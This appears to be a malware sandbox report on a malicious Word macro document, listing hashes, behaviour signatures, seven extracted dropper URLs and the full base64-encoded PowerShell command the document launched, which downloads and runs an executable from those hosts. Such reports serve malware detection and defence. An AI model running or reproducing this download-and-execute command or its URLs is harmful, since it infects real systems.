Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    09/05/2024, 06:09

General

  • Target

    28a52112efdfd3ec1b30ee75d79c98a4_JaffaCakes118.doc

  • Size

    186KB

  • MD5

    28a52112efdfd3ec1b30ee75d79c98a4

  • SHA1

    b4a57f3074b8f22eb93fd7f695bd4a0bbaa33035

  • SHA256

    200ab165378e9785d6c3add4e5a2738f94fa6db69ec0ad5459a177b241194020

  • SHA512

    78f97772ca59954b3a91efaa26c54558446fd4baae573fcc9e5f37e33f2873f7e9fa4f414fa90e729ac0227adfe8ba84644505057d4120d2496af92546e24f00

  • SSDEEP

    1536:qI491Y2wcI491Y2w+4tcTv8kvjEuJ0dH5L0c4vs3ti18NmIIP4ovlnoR+a9iXljb:A4tcTvjvTY140818tIP4ovpD1jnuPk

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://loungegangnam.com/4W/dz/

exe.dropper

http://indyoverheaddoors.com/wp-includes/pZ/

exe.dropper

http://geoffoglemusic.com/wp-admin/w/

exe.dropper

http://giral2.com/wp-includes/0e/

exe.dropper

https://www.lunalysis.com/wordpress/syb/

exe.dropper

http://farli.com/cgi-bin/jK/

exe.dropper

http://goldcoastoffice365.com/temp/wQ/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\28a52112efdfd3ec1b30ee75d79c98a4_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1008
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABKAGkAdQA1AHcAawBxAD0AKAAoACcATwBpACcAKwAnAGEAJwApACsAJwA0AHkAJwArACcAbgB1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAUgBQAHIATwBmAGkAbABlAFwAdAA2AGEAOABDAGsATQBcAHIARwBBAGkAXwBoAF8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBjAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAUgBJAFQAYAB5AGAAcAByAG8AVABPAGAAQwBvAGwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxADIALAAnACsAJwAgAHQAbABzADEAJwApACsAJwAxACcAKwAoACcALAAnACsAJwAgAHQAJwApACsAJwBsAHMAJwApADsAJABJAHMAZwB1AG4AMgB2ACAAPQAgACgAJwBDACcAKwAnADgAJwArACgAJwBfAGcAMABwAHYAJwArACcAMwAnACkAKQA7ACQAWgB5AGcAcwBnAGsAZQA9ACgAJwBYACcAKwAoACcAaABmACcAKwAnAGcAMwBrACcAKQArACcAcwAnACkAOwAkAEIAbgBzAGwAbgB0AG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0AVAA2AGEAOABjAGsAJwArACcAbQAnACsAJwB7ADAAfQBSAGcAYQBpACcAKwAnAF8AJwArACcAaABfAHsAMAB9ACcAKQAgACAALQBGACAAIABbAEMAaABhAFIAXQA5ADIAKQArACQASQBzAGcAdQBuADIAdgArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAFUAbgA2AGsAdQA2AGsAPQAoACgAJwBNAGYAJwArACcAYwAnACkAKwAoACcAaQA0ACcAKwAnAGwAOQAnACkAKQA7ACQASAAxADgAdwBnAGUAdgA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAFQALgBXAEUAQgBjAEwASQBlAG4AVAA7ACQAVAAwAHIAbgBrADYAOQA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAJwApACsAJwA6AC8AJwArACgAJwAvACcAKwAnAGwAbwB1ACcAKQArACcAbgAnACsAJwBnACcAKwAoACcAZQBnACcAKwAnAGEAJwApACsAJwBuACcAKwAnAGcAbgAnACsAJwBhACcAKwAoACcAbQAuAGMAbwBtAC8AJwArACcANAAnACsAJwBXAC8AJwApACsAKAAnAGQAegAvACoAJwArACcAaAB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKQArACgAJwAvACcAKwAnAGkAJwArACcAbgBkAHkAbwB2AGUAcgBoACcAKQArACcAZQAnACsAKAAnAGEAJwArACcAZABkAG8AbwAnACkAKwAoACcAcgBzAC4AJwArACcAYwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwAC0AaQBuAGMAbAAnACsAJwB1ACcAKQArACgAJwBkAGUAcwAvACcAKwAnAHAAWgAnACkAKwAoACcALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAvACcAKQArACcAZwBlACcAKwAoACcAbwAnACsAJwBmAGYAbwBnACcAKQArACgAJwBsAGUAJwArACcAbQAnACsAJwB1AHMAJwArACcAaQBjAC4AYwBvAG0AJwApACsAJwAvAHcAJwArACgAJwBwACcAKwAnAC0AYQAnACkAKwAoACcAZABtACcAKwAnAGkAJwArACcAbgAvACcAKwAnAHcALwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AJwApACsAKAAnAGcAaQByACcAKwAnAGEAbAAyACcAKQArACgAJwAuAGMAJwArACcAbwAnACsAJwBtACcAKwAnAC8AdwBwAC0AaQBuACcAKQArACcAYwAnACsAJwBsACcAKwAoACcAdQBkAGUAcwAvADAAJwArACcAZQAvACcAKQArACgAJwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnAHMAOgAnACkAKwAoACcALwAvAHcAJwArACcAdwB3AC4AJwArACcAbAAnACkAKwAnAHUAbgAnACsAJwBhACcAKwAoACcAbAB5AHMAJwArACcAaQAnACsAJwBzAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AJwApACsAJwB3ACcAKwAnAG8AJwArACgAJwByACcAKwAnAGQAcAAnACkAKwAoACcAcgAnACsAJwBlAHMAcwAvAHMAeQAnACkAKwAnAGIAJwArACcALwAnACsAKAAnACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAJwArACcAOgAvACcAKQArACcALwAnACsAKAAnAGYAYQByAGwAJwArACcAaQAuAGMAJwApACsAKAAnAG8AbQAnACsAJwAvACcAKQArACcAYwBnACcAKwAnAGkALQAnACsAKAAnAGIAaQBuAC8AagAnACsAJwBLAC8AJwArACcAKgBoAHQAJwApACsAJwB0ACcAKwAnAHAAOgAnACsAJwAvAC8AJwArACgAJwBnACcAKwAnAG8AbABkAGMAbwAnACkAKwAnAGEAcwAnACsAJwB0AG8AJwArACgAJwBmACcAKwAnAGYAaQAnACkAKwAnAGMAZQAnACsAJwAzACcAKwAnADYAJwArACcANQAnACsAKAAnAC4AJwArACcAYwBvACcAKQArACcAbQAnACsAJwAvACcAKwAnAHQAJwArACcAZQAnACsAJwBtACcAKwAnAHAALwAnACsAJwB3ACcAKwAnAFEAJwArACcALwAnACkALgAiAHMAUABgAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQA0AHcAeABqADEAbwA9ACgAJwBYACcAKwAoACcAawAzAGcAbwAnACsAJwBtAGwAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABIAHkANAAzAGIAXwBtACAAaQBuACAAJABUADAAcgBuAGsANgA5ACkAewB0AHIAeQB7ACQASAAxADgAdwBnAGUAdgAuACIAZABvAGAAVwBuAGwATwBBAEQAYABGAGkATABFACIAKAAkAEgAeQA0ADMAYgBfAG0ALAAgACQAQgBuAHMAbABuAHQAbwApADsAJABOADMAZgBjADIAcwByAD0AKAAnAEoAJwArACcAdQAnACsAKAAnAGEAYgAnACsAJwBoADgAMQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABCAG4AcwBsAG4AdABvACkALgAiAGwARQBuAGcAYABUAEgAIgAgAC0AZwBlACAAMwAxADUAOAA1ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAEIAbgBzAGwAbgB0AG8AKQA7ACQATgBwADAAegA2AGcAYwA9ACgAKAAnAFgAJwArACcAbwBrACcAKQArACcAZAAnACsAKAAnAGUAJwArACcAaQBmACcAKQApADsAYgByAGUAYQBrADsAJABNADEAYgBmADYANwBrAD0AKAAnAE0AagAnACsAJwB6ADEAJwArACgAJwBtADIAJwArACcAXwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARQA4ADcAOQBtADkAeAA9ACgAKAAnAEMAZAA2ACcAKwAnAGUAJwApACsAKAAnAGgAYgAnACsAJwBqACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2328

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      1c8c1736e3d07790582c202d0a6f3793

      SHA1

      116e48ef94f2e8f1cc34397e0ebb3812dae480ff

      SHA256

      b7172e1e370ef3aeca8d859784eb738e911492f9738692af954bcd75fb8e62de

      SHA512

      a9fc6070d07564b2b8ff7363af269ac79432e355d99656a0e0d56f986ccc07f8c5163693d1ab978fb9aeb30a353c8d495613818325caec66479f2cb1f5544b2e

    • memory/1008-21-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-24-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-6-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-7-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-12-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-26-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-8-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-10-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-16-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-17-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-15-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-14-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-13-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-11-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-18-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-22-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-20-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-0-0x000000002F961000-0x000000002F962000-memory.dmp

      Filesize

      4KB

    • memory/1008-2-0x0000000070D2D000-0x0000000070D38000-memory.dmp

      Filesize

      44KB

    • memory/1008-19-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-9-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-27-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-25-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-23-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-31-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-32-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-30-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-29-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-28-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-33-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-67-0x0000000070D2D000-0x0000000070D38000-memory.dmp

      Filesize

      44KB

    • memory/1008-66-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1008-47-0x0000000070D2D000-0x0000000070D38000-memory.dmp

      Filesize

      44KB

    • memory/1008-48-0x0000000000530000-0x0000000000630000-memory.dmp

      Filesize

      1024KB

    • memory/1008-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2328-40-0x0000000002860000-0x0000000002868000-memory.dmp

      Filesize

      32KB

    • memory/2328-39-0x000000001B620000-0x000000001B902000-memory.dmp

      Filesize

      2.9MB